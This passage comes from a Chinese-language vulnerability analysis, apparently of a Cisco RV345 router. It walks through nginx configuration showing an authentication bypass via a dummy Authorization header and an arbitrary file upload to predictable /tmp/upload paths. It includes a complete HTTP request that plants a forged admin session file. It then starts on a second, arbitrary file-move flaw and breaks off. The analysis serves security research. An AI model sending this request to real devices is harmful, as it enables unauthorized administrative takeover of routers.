248);">rest.url.conf</code>，其内容如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/nginx/conf.d/rest.url.conf: 13</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">location</span> /api/operations/ciscosb-file:form-file-upload {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$http_authorization</span> != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>) {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;1&#34;</span>) {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">403</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_pass</span> /form-file-upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store</span> /tmp/upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store_access</span> user:rw group:rw all:rw;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.name <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_name</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.content_type <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_content_type</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.path <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_tmp_path</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.md5&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_md5</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.size&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_size</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_pass_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^.*$&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_cleanup</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">400</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">404</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">499</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">500</span>-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">505</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_resumable</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">on</span>;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">结合<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">proxy.conf</code>内容可以看到，当请求头中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Authorization</code>不为空的时候，此时<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">$deny</code>会被设置为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0</code>，并调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upload</code>模块，存储的路径是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>。因为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upload_store</code>没有配置<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">level</code>，所以<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>会默认将上传的数据按<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload/0000000001</code>数字命名的方式顺序存储。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># etc/nginx/conf.d/proxy.conf，</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_http_version</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> Host <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$http_host</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> X-Real-IP <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$remote_addr</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> X-Forwarded-For <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$proxy_add_x_forwarded_for</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> X-Forwarded-Proto <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$scheme</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> Authorization <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$http_authorization</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> Accept-Encoding <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_set_header</span> Connection <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_ssl_session_reuse</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">off</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">server_name_in_redirect</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">off</span>;<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">从上面的配置可以看出，在调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>之前，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>已经将用户上传的数据存储到了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>当中，同时存储的名字又是可以预测的，后续它还会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upload_set_form_field</code>等方法将表单中的字段进行替换，并最终调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">在这里调不调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>我们并不关心，因为在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>之前我们已经可以实现任意文件上传的功能了。具体来说是先通过在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">HTTP</code>请求包中加入一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Authorization</code>头，这样绕过了认证触发了上传模块；而后我们上传的数据就会被存储到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>当中，同时名字也可以可以遍历得到。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">利用该漏洞最终实现的效果就是可以无条件的在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>目录当中上传任意文件，其文件名类似为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload/0000000001</code>，数字由上传文件的序列决定，可以通过遍历实现。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">发送请求包如下所示：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1<br/>Host: 192.168.1.1<br/>Authorization: 123=456<br/>Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management<br/>Content-Length: 854<br/>Sec-Ch-Ua: &#34; Not A;Brand&#34;;v=&#34;99&#34;, &#34;Chromium&#34;;v=&#34;98&#34;, &#34;Google Chrome&#34;;v=&#34;98&#34;<br/>Accept: application/json, text/plain, */*<br/>Optional-Header: header-value<br/>Sec-Ch-Ua-Mobile: ?0<br/>Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36<br/>Sec-Ch-Ua-Platform: &#34;macOS&#34;<br/>Origin: <a href="https://192.168.1.1" target="_blank">https://192.168.1.1</a><br/>Sec-Fetch-Site: same-origin<br/>Sec-Fetch-Mode: cors<br/>Sec-Fetch-Dest: empty<br/>Referer: <a href="https://192.168.1.1/index.html" target="_blank">https://192.168.1.1/index.html</a><br/>Accept-Encoding: gzip, deflate<br/>Accept-Language: en-US,en;q=0.9<br/>Connection: close<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;sessionid&#34;<br/>2727f44696347c5e1218c78a<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;pathparam&#34;<br/>a<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;file.path&#34;<br/>a<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;fileparam&#34;<br/>a<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;websession&#34;; filename=&#34;a.xml&#34;<br/>Content-Type: text/xml<br/>{<br/>  &#34;max-count&#34;:1,<br/>  &#34;cisco&#34;:{<br/>    &#34;4a04cd411434cea78f2d81b692dfa4a41aea9e4b15536fb933fab11df8ed414a&#34;:{<br/>      &#34;user&#34;:&#34;cisco&#34;,<br/>      &#34;group&#34;:&#34;admin&#34;,<br/>      &#34;time&#34;:315156,<br/>      &#34;access&#34;:1,<br/>      &#34;timeout&#34;:9999,<br/>      &#34;leasetime&#34;:15275860<br/>    }<br/>  }<br/>}<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM--<br/></span></code></pre><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">任意文件移动漏洞</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第二个漏洞存是任意文件移动漏洞，可以实现任意文件移动。漏洞的原理是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>未做权限限制同时后端也没有对权限进行认证，导致权限绕过；后端在实现过程中没有对输入校验导致任意文件移动。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">下面来对该漏洞进行详细的分析。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">先是权限绕过漏洞分析，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/nginx/conf.d/web.upload.conf</code>内容如下，可以看到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/upload</code>请求进行了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>的验证（权限的判定），但它却没有对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>请求进行权限校验，用户可以不需要任何权限直接请求<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/nginx/conf.d/web.upload.conf</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">location</span> /form-file-upload {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> uwsgi_params;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">proxy_buffering</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">off</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_modifier1</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">9</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_pass</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">127.0.0.1:9003</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_read_timeout</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">3600</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">uwsgi_send_timeout</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">3600</span>;<br/>}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">location</span> /upload {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (-f /tmp/websession/token/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$cookie_sessionid</span>) {<br/>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>;<br/>        }<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;1&#34;</span>) {<br/>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">403</span>;<br/>        }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit 